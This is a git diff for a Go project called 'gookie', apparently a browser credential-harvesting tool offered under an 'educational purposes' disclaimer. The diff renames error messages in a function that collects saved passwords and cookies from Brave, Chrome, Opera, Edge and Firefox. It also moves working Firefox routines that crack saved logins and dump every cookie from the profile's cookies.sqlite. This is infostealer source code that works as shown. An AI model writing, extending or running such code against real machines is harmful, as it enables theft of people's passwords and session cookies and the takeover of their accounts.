diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index 956f845..0000000 Binary files a/.DS_Store and /dev/null differ diff --git a/README.md b/README.md index ef51734..34df0a3 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -a tool for extracting cookie data +a tool for extracting browser data ### Disclaimer: This project has been developed strictly for educational purposes. It aims to provide knowledge and insights into specific techniques for educational and research purposes only. The author strongly discourages any malicious or harmful use of the project or its associated techniques. It is crucial to respect legal and ethical boundaries, and the author bears no responsibility for any misuse or harmful activities conducted by individuals or entities using this project. diff --git a/pkg/browser/chromium.go b/pkg/browser/chromium.go index 491e771..0bc5fca 100644 --- a/pkg/browser/chromium.go +++ b/pkg/browser/chromium.go @@ -90,52 +90,52 @@ type DataBlob struct { func GetAllBrowserData() (JSONStruct, error) { bravePasswords, err := readChromiumPasswords(BravePasswordPath, BraveKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadBravePasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readBravePasswords: %v", err) } braveCookies, err := readChromiumCookies(BraveCookiesPath, BraveKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readBraveCookies: %v", err) } chromePasswords, err := readChromiumPasswords(ChromePasswordPath, ChromeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadChromePasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readChromePasswords: %v", err) } chromeCookies, err := readChromiumCookies(ChromeCookiesPath, ChromeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readChromeCookies: %v", err) } operaPasswords, err := readChromiumPasswords(OperaPasswordPath, OperaKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadOperaPasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readOperaPasswords: %v", err) } operaCookies, err := readChromiumCookies(OperaCookiesPath, OperaKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readOperaCookies: %v", err) } edgePasswords, err := readChromiumPasswords(EdgePasswordPath, EdgeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadEdgePasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readEdgePasswords: %v", err) } edgeCookies, err := readChromiumCookies(EdgeCookiesPath, EdgeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readEdgeCookies: %v", err) } firefoxPasswords, err := ReadFirefoxPasswords() if err != nil { - return JSONStruct{}, fmt.Errorf("ReadFirefoxPasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readFirefoxPasswords: %v", err) } firefoxCookies, err := ReadFirefoxCookies() if err != nil { - return JSONStruct{}, fmt.Errorf("ReadFirefoxCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readFirefoxCookies: %v", err) } consolidated := JSONStruct{ diff --git a/pkg/browser/firefox.go b/pkg/browser/firefox.go index bcce9b4..f5a7bc6 100644 --- a/pkg/browser/firefox.go +++ b/pkg/browser/firefox.go @@ -12,10 +12,11 @@ import ( "encoding/json" "errors" "fmt" - "golang.org/x/crypto/pbkdf2" - "gookie/pkg/utils" "os" "path/filepath" + + "golang.org/x/crypto/pbkdf2" + "gookie/pkg/utils" ) type LoginList struct { @@ -86,6 +87,64 @@ type KeyData struct { Data []byte } +func ReadFirefoxPasswords() ([]Password, error) { + profilePath, err := getActiveProfilePath() + if err != nil { + return nil, err + } + + credentials, err := FirefoxCrackLoginData(profilePath) + if err != nil { + return nil, err + } + + return credentials, nil +} + +func ReadFirefoxCookies() ([]Cookie, error) { + profilePath, err := getActiveProfilePath() + if err != nil { + return nil, err + } + + cookiesPath := filepath.Join(profilePath, "cookies.sqlite") + + dbConn, err := sql.Open("sqlite3", fmt.Sprintf("file:%s?cache=shared&mode=ro", cookiesPath)) + if err != nil { + return nil, err + } + defer dbConn.Close() + + query := `SELECT host as Domain, expiry as Expires, isHttpOnly as HttpOnly, + name as Name, path as Path, isSecure as Secure, + value as Value FROM moz_cookies;` + rows, err := dbConn.Query(query) + if err != nil { + return nil, err + } + defer rows.Close() + + var cookies []Cookie + + for rows.Next() { + var cookie Cookie + var expires, httpOnly, secure int64 + + err = rows.Scan(&cookie.Domain, &expires, &httpOnly, &cookie.Name, + &cookie.Path, &secure, &cookie.Value) + if err != nil { + return nil, err + } + + cookie.Expires = utils.EpochToTime(expires) + cookie.HttpOnly = utils.IntToBool(httpOnly) + cookie.IsSecure = utils.IntToBool(secure) + + cookies = append(cookies, cookie) + } + return cookies, nil +} + func loadLoginsData(profilePath string) (LoginList, error) { var logins LoginList jsonData, err := os.ReadFile(filepath.Join(profilePath, "logins.json")) @@ -263,61 +322,3 @@ func getActiveProfilePath() (string, error) { return path, nil } - -func ReadFirefoxPasswords() ([]Password, error) { - profilePath, err := getActiveProfilePath() - if err != nil { - return nil, err - } - - credentials, err := FirefoxCrackLoginData(profilePath) - if err != nil { - return nil, err - } - - return credentials, nil -} - -func ReadFirefoxCookies() ([]Cookie, error) { - profilePath, err := getActiveProfilePath() - if err != nil { - return nil, err - } - - cookiesPath := filepath.Join(profilePath, "cookies.sqlite") - - dbConn, err := sql.Open("sqlite3", fmt.Sprintf("file:%s?cache=shared&mode=ro", cookiesPath)) - if err != nil { - return nil, err - } - defer dbConn.Close() - - query := `SELECT host as Domain, expiry as Expires, isHttpOnly as HttpOnly, - name as Name, path as Path, isSecure as Secure, - value as Value FROM moz_cookies;` - rows, err := dbConn.Query(query) - if err != nil { - return nil, err - } - defer rows.Close() - - var cookies []Cookie - - for rows.Next() { - var cookie Cookie - var expires, httpOnly, secure int64 - - err = rows.Scan(&cookie.Domain, &expires, &httpOnly, &cookie.Name, - &cookie.Path, &secure, &cookie.Value) - if err != nil { - return nil, err - } - - cookie.Expires = utils.EpochToTime(expires) - cookie.HttpOnly = utils.IntToBool(httpOnly) - cookie.IsSecure = utils.IntToBool(secure) - - cookies = append(cookies, cookie) - } - return cookies, nil -}